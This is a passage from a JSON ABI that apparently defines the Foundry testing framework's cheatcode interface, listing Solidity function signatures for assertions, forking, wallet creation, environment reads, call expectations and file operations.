utability":"pure","type":"function","name":"assertGtDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGtDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGtDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLe"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertLe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLe"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLeDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLeDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertLt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLt"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLtDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLtDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertLtDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertLtDecimal"},{"inputs":[{"internalType":"bytes32[]","name":"left","type":"bytes32[]"},{"internalType":"bytes32[]","name":"right","type":"bytes32[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256[]","name":"left","type":"int256[]"},{"internalType":"int256[]","name":"right","type":"int256[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bool","name":"left","type":"bool"},{"internalType":"bool","name":"right","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes[]","name":"left","type":"bytes[]"},{"internalType":"bytes[]","name":"right","type":"bytes[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bool","name":"left","type":"bool"},{"internalType":"bool","name":"right","type":"bool"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bool[]","name":"left","type":"bool[]"},{"internalType":"bool[]","name":"right","type":"bool[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes","name":"left","type":"bytes"},{"internalType":"bytes","name":"right","type":"bytes"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"address[]","name":"left","type":"address[]"},{"internalType":"address[]","name":"right","type":"address[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"uint256[]","name":"left","type":"uint256[]"},{"internalType":"uint256[]","name":"right","type":"uint256[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bool[]","name":"left","type":"bool[]"},{"internalType":"bool[]","name":"right","type":"bool[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"string","name":"left","type":"string"},{"internalType":"string","name":"right","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"address[]","name":"left","type":"address[]"},{"internalType":"address[]","name":"right","type":"address[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"string","name":"left","type":"string"},{"internalType":"string","name":"right","type":"string"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"address","name":"left","type":"address"},{"internalType":"address","name":"right","type":"address"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes32","name":"left","type":"bytes32"},{"internalType":"bytes32","name":"right","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes","name":"left","type":"bytes"},{"internalType":"bytes","name":"right","type":"bytes"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"uint256[]","name":"left","type":"uint256[]"},{"internalType":"uint256[]","name":"right","type":"uint256[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"address","name":"left","type":"address"},{"internalType":"address","name":"right","type":"address"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes32","name":"left","type":"bytes32"},{"internalType":"bytes32","name":"right","type":"bytes32"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"string[]","name":"left","type":"string[]"},{"internalType":"string[]","name":"right","type":"string[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes32[]","name":"left","type":"bytes32[]"},{"internalType":"bytes32[]","name":"right","type":"bytes32[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"string[]","name":"left","type":"string[]"},{"internalType":"string[]","name":"right","type":"string[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256[]","name":"left","type":"int256[]"},{"internalType":"int256[]","name":"right","type":"int256[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"bytes[]","name":"left","type":"bytes[]"},{"internalType":"bytes[]","name":"right","type":"bytes[]"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertNotEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertNotEqDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEqDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertNotEqDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertNotEqDecimal"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"}],"stateMutability":"pure","type":"function","name":"assertTrue"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertTrue"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"}],"stateMutability":"pure","type":"function","name":"assume"},{"inputs":[{"internalType":"string","name":"char","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"breakpoint"},{"inputs":[{"internalType":"string","name":"char","type":"string"},{"internalType":"bool","name":"value","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"breakpoint"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"broadcast"},{"inputs":[{"internalType":"address","name":"signer","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"broadcast"},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"broadcast"},{"inputs":[{"internalType":"uint256","name":"newChainId","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"chainId"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"clearMockedCalls"},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"closeFile"},{"inputs":[{"internalType":"address","name":"newCoinbase","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"coinbase"},{"inputs":[{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"bytes32","name":"initCodeHash","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"computeCreate2Address","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"bytes32","name":"initCodeHash","type":"bytes32"},{"internalType":"address","name":"deployer","type":"address"}],"stateMutability":"pure","type":"function","name":"computeCreate2Address","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"deployer","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"}],"stateMutability":"pure","type":"function","name":"computeCreateAddress","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"from","type":"string"},{"internalType":"string","name":"to","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"copyFile","outputs":[{"internalType":"uint64","name":"copied","type":"uint64"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"bool","name":"recursive","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"createDir"},{"inputs":[{"internalType":"string","name":"urlOrAlias","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"createFork","outputs":[{"internalType":"uint256","name":"forkId","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"urlOrAlias","type":"string"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createFork","outputs":[{"internalType":"uint256","name":"forkId","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"urlOrAlias","type":"string"},{"internalType":"bytes32","name":"txHash","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"createFork","outputs":[{"internalType":"uint256","name":"forkId","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"urlOrAlias","type":"string"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createSelectFork","outputs":[{"internalType":"uint256","name":"forkId","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"urlOrAlias","type":"string"},{"internalType":"bytes32","name":"txHash","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"createSelectFork","outputs":[{"internalType":"uint256","name":"forkId","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"urlOrAlias","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"createSelectFork","outputs":[{"internalType":"uint256","name":"forkId","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"walletLabel","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"createWallet","outputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createWallet","outputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"},{"internalType":"string","name":"walletLabel","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"createWallet","outputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]}]},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"newBalance","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"deal"},{"inputs":[{"internalType":"uint256","name":"snapshotId","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"deleteSnapshot","outputs":[{"internalType":"bool","name":"success","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"deleteSnapshots"},{"inputs":[{"internalType":"string","name":"mnemonic","type":"string"},{"internalType":"string","name":"derivationPath","type":"string"},{"internalType":"uint32","name":"index","type":"uint32"},{"internalType":"string","name":"language","type":"string"}],"stateMutability":"pure","type":"function","name":"deriveKey","outputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"mnemonic","type":"string"},{"internalType":"uint32","name":"index","type":"uint32"},{"internalType":"string","name":"language","type":"string"}],"stateMutability":"pure","type":"function","name":"deriveKey","outputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"mnemonic","type":"string"},{"internalType":"uint32","name":"index","type":"uint32"}],"stateMutability":"pure","type":"function","name":"deriveKey","outputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"mnemonic","type":"string"},{"internalType":"string","name":"derivationPath","type":"string"},{"internalType":"uint32","name":"index","type":"uint32"}],"stateMutability":"pure","type":"function","name":"deriveKey","outputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"newDifficulty","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"difficulty"},{"inputs":[{"internalType":"string","name":"pathToStateJson","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"dumpState"},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envAddress","outputs":[{"internalType":"address","name":"value","type":"address"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envAddress","outputs":[{"internalType":"address[]","name":"value","type":"address[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envBool","outputs":[{"internalType":"bool","name":"value","type":"bool"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envBool","outputs":[{"internalType":"bool[]","name":"value","type":"bool[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envBytes","outputs":[{"internalType":"bytes","name":"value","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envBytes","outputs":[{"internalType":"bytes[]","name":"value","type":"bytes[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envBytes32","outputs":[{"internalType":"bytes32[]","name":"value","type":"bytes32[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envBytes32","outputs":[{"internalType":"bytes32","name":"value","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envInt","outputs":[{"internalType":"int256[]","name":"value","type":"int256[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envInt","outputs":[{"internalType":"int256","name":"value","type":"int256"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"bytes32[]","name":"defaultValue","type":"bytes32[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bytes32[]","name":"value","type":"bytes32[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"int256[]","name":"defaultValue","type":"int256[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"int256[]","name":"value","type":"int256[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"bool","name":"defaultValue","type":"bool"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bool","name":"value","type":"bool"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"address","name":"defaultValue","type":"address"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"address","name":"value","type":"address"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"uint256","name":"defaultValue","type":"uint256"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"uint256","name":"value","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"bytes[]","name":"defaultValue","type":"bytes[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bytes[]","name":"value","type":"bytes[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"uint256[]","name":"defaultValue","type":"uint256[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"uint256[]","name":"value","type":"uint256[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"string[]","name":"defaultValue","type":"string[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"string[]","name":"value","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"bytes","name":"defaultValue","type":"bytes"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bytes","name":"value","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"bytes32","name":"defaultValue","type":"bytes32"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bytes32","name":"value","type":"bytes32"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"int256","name":"defaultValue","type":"int256"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"int256","name":"value","type":"int256"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"address[]","name":"defaultValue","type":"address[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"address[]","name":"value","type":"address[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"defaultValue","type":"string"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"string","name":"value","type":"string"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"},{"internalType":"bool[]","name":"defaultValue","type":"bool[]"}],"stateMutability":"view","type":"function","name":"envOr","outputs":[{"internalType":"bool[]","name":"value","type":"bool[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envString","outputs":[{"internalType":"string[]","name":"value","type":"string[]"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envString","outputs":[{"internalType":"string","name":"value","type":"string"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"stateMutability":"view","type":"function","name":"envUint","outputs":[{"internalType":"uint256","name":"value","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"delim","type":"string"}],"stateMutability":"view","type":"function","name":"envUint","outputs":[{"internalType":"uint256[]","name":"value","type":"uint256[]"}]},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes","name":"newRuntimeBytecode","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"etch"},{"inputs":[{"internalType":"uint256","name":"fromBlock","type":"uint256"},{"internalType":"uint256","name":"toBlock","type":"uint256"},{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32[]","name":"topics","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"function","name":"eth_getLogs","outputs":[{"internalType":"struct VmSafe.EthGetLogs[]","name":"logs","type":"tuple[]","components":[{"internalType":"address","name":"emitter","type":"address"},{"internalType":"bytes32[]","name":"topics","type":"bytes32[]"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"bytes32","name":"blockHash","type":"bytes32"},{"internalType":"uint64","name":"blockNumber","type":"uint64"},{"internalType":"bytes32","name":"transactionHash","type":"bytes32"},{"internalType":"uint64","name":"transactionIndex","type":"uint64"},{"internalType":"uint256","name":"logIndex","type":"uint256"},{"internalType":"bool","name":"removed","type":"bool"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"exists","outputs":[{"internalType":"bool","name":"result","type":"bool"}]},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"uint256","name":"msgValue","type":"uint256"},{"internalType":"uint64","name":"gas","type":"uint64"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"expectCall"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"uint256","name":"msgValue","type":"uint256"},{"internalType":"uint64","name":"gas","type":"uint64"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"uint64","name":"count","type":"uint64"}],"stateMutability":"nonpayable","type":"function","name":"expectCall"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"uint256","name":"msgValue","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"uint64","name":"count","type":"uint64"}],"stateMutability":"nonpayable","type":"function","name":"expectCall"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"expectCall"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"uint64","name":"count","type":"uint64"}],"stateMutability":"nonpayable","type":"function","name":"expectCall"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"uint256","name":"msgValue","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"expectCall"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"uint256","name":"msgValue","type":"uint256"},{"internalType":"uint64","name":"minGas","type":"uint64"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"expectCallMinGas"},{"inputs":[{"internalType":"address","name":"callee","type":"address"},{"internalType":"uint256","name":"msgValue","type":"uint256"},{"internalType":"uint64","name":"minGas","type":"uint64"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"uint64","name":"count","type":"uint64"}],"stateMutability":"nonpayable","type":"function","name":"expectCallMinGas"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"expectEmit"},{"inputs":[{"internalType":"bool","name":"checkTopic1","type":"bool"},{"internalType":"bool","name":"checkTopic2","type":"bool"},{"internalType":"bool","name":"checkTopic3","type":"bool"},{"internalType":"bool","name":"checkData","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"expectEmit"},{"inputs":[{"internalType":"bool","name":"checkTopic1","type":"bool"},{"internalType":"bool","name":"checkTopic2","type":"bool"},{"internalType":"bool","name":"checkTopic3","type":"bool"},{"internalType":"bool","name":"checkData","type":"bool"},{"internalType":"address","name":"emitter","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"expectEmit"},{"inputs":[{"internalType":"address","name":"emitter","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"expectEmit"},{"inputs":[{"internalType":"bytes4","name":"revertData","type":"bytes4"}],"stateMutability":"nonpayable","type":"function","name":"expectRevert"},{"inputs":[{"internalType":"bytes","name":"revertData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"expectRevert"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"expectRevert"},{"inputs":[{"internalType":"uint64","name":"min","type":"uint64"},{"internalType":"uint64","name":"max","type":"uint64"}],"stateMutability":"nonpayable","type":"function","name":"expectSafeMemory"},{"inputs":[{"internalType":"uint64","name":"min","type":"uint64"},{"internalType":"uint64","name":"max","type":"uint64"}],"stateMutability":"nonpayable","type":"function","name":"expectSafeMemoryCall"},{"inputs":[{"internalType":"uint256","name":"newBasefee","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"fee"},{"inputs":[{"internalType":"string[]","name":"commandInput","type":"string[]"}],"stateMutability":"nonpayable","type":"function","name":"ffi","outputs":[{"internalType":"bytes","name":"result","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"fsMetadata","outputs":[{"internalType":"struct VmSafe.FsMetadata","name":"metadata","type":"tuple","components":[{"internalType":"bool","name":"isDir","type":"bool"},{"internalType":"bool","name":"isSymlink","type":"bool"},{"internalType":"uint256","name":"length","type":"uint256"},{"internalType":"bool","name":"readOnly","type":"bool"},{"internalType":"uint256","name":"modified","type":"uint256"},{"internalType":"uint256","name":"accessed","type":"uint256"},{"internalType":"uint256","name":"created","type":"uint256"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getBlockNumber","outputs":[{"internalType":"uint256","name":"height","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"getBlockTimestamp","outputs":[{"internalType":"uint256","name":"timestamp","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"artifactPath","type":"string"}],"stateMutability":"view","type":"function","name":"getCode","outputs":[{"internalType":"bytes","name":"creationBytecode","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"artifactPath","type":"string"}],"stateMutability":"view","type":"function","name":"getDeployedCode","outputs":[{"internalType":"bytes","name":"runtimeBytecode","type":"bytes"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"getLabel","outputs":[{"internalType":"string","name":"currentLabel","type":"string"}]},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32","name":"elementSlot","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"getMappingKeyAndParentOf","outputs":[{"internalType":"bool","name":"found","type":"bool"},{"internalType":"bytes32","name":"key","type":"bytes32"},{"internalType":"bytes32","name":"parent","type":"bytes32"}]},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bytes32","name":"mappingSlot","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"getMappingLength","outputs":[{"internalType":"uint256","name":"length","type":"uint256"}]},{